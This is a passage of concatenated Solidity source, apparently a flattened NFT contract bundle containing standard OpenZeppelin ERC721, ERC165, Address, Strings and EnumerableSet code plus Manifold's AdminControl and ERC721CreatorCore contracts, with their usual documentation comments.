return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IAdminControl.sol";
abstract contract AdminControl is Ownable, IAdminControl, ERC165 {
using EnumerableSet for EnumerableSet.AddressSet;
// Track registered admins
EnumerableSet.AddressSet private _admins;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IAdminControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Only allows approved admins to call the specified function
*/
modifier adminRequired() {
require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin");
_;
}
/**
* @dev See {IAdminControl-getAdmins}.
*/
function getAdmins() external view override returns (address[] memory admins) {
admins = new address[](_admins.length());
for (uint i = 0; i < _admins.length(); i++) {
admins[i] = _admins.at(i);
}
return admins;
}
/**
* @dev See {IAdminControl-approveAdmin}.
*/
function approveAdmin(address admin) external override onlyOwner {
if (!_admins.contains(admin)) {
emit AdminApproved(admin, msg.sender);
_admins.add(admin);
}
}
/**
* @dev See {IAdminControl-revokeAdmin}.
*/
function revokeAdmin(address admin) external override onlyOwner {
if (_admins.contains(admin)) {
emit AdminRevoked(admin, msg.sender);
_admins.remove(admin);
}
}
/**
* @dev See {IAdminControl-isAdmin}.
*/
function isAdmin(address admin) public override view returns (bool) {
return (owner() == admin || _admins.contains(admin));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "../extensions/ERC721/IERC721CreatorExtensionApproveTransfer.sol";
import "../extensions/ERC721/IERC721CreatorExtensionBurnable.sol";
import "../permissions/ERC721/IERC721CreatorMintPermissions.sol";
import "./IERC721CreatorCore.sol";
import "./CreatorCore.sol";
/**
* @dev Core ERC721 creator implementation
*/
abstract contract ERC721CreatorCore is CreatorCore, IERC721CreatorCore {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(CreatorCore, IERC165) returns (bool) {
return interfaceId == type(IERC721CreatorCore).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {ICreatorCore-setApproveTransferExtension}.
*/
function setApproveTransferExtension(bool enabled) external override extensionRequired {
require(!enabled || ERC165Checker.supportsInterface(msg.sender, type(IERC721CreatorExtensionApproveTransfer).interfaceId), "Extension must implement IERC721CreatorExtensionApproveTransfer");
if (_extensionApproveTransfers[msg.sender] != enabled) {
_extensionApproveTransfers[msg.sender] = enabled;
emit ExtensionApproveTransferUpdated(msg.sender, enabled);
}
}
/**
* @dev Set mint permissions for an extension
*/
function _setMintPermissions(address extension, address permissions) internal {
require(_extensions.contains(extension), "CreatorCore: Invalid extension");
require(permissions == address(0x0) || ERC165Checker.supportsInterface(permissions, type(IERC721CreatorMintPermissions).interfaceId), "Invalid address");
if (_extensionPermissions[extension] != permissions) {
_extensionPermissions[extension] = permissions;
emit MintPermissionsUpdated(extension, permissions, msg.sender);
}
}
/**
* Check if an extension can mint
*/
function _checkMintPermissions(address to, uint256 tokenId) internal {
if (_extensionPermissions[msg.sender] != address(0x0)) {
IERC721CreatorMintPermissions(_extensionPermissions[msg.sender]).approveMint(msg.sender, to, tokenId);
}
}
/**
* Override for post mint actions
*/
function _postMintBase(address, uint256) internal virtual {}
/**
* Override for post mint actions
*/
function _postMintExtension(address, uint256) internal virtual {}
/**
* Post-burning callback and metadata cleanup
*/
function _postBurn(address owner, uint256 tokenId) internal virtual {
// Callback to originating extension if needed
if (_tokensExtension[tokenId] != address(this)) {
if (ERC165Checker.supportsInterface(_tokensExtension[tokenId], type(IERC721CreatorExtensionBurnable).interfaceId)) {
IERC721CreatorExtensionBurnable(_tokensExtension[tokenId]).onBurn(owner, tokenId);
}
}
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
// Delete token origin extension tracking
delete _tokensExtension[tokenId];
}
/**
* Approve a transfer
*/
function _approveTransfer(address from, address to, uint256 tokenId) internal {
if (_extensionApproveTransfers[_tokensExtension[tokenId]]) {
require(IERC721CreatorExtensionApproveTransfer(_tokensExtension[tokenId]).approveTransfer(from, to, tokenId), "ERC721Creator: Extension approval failure");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
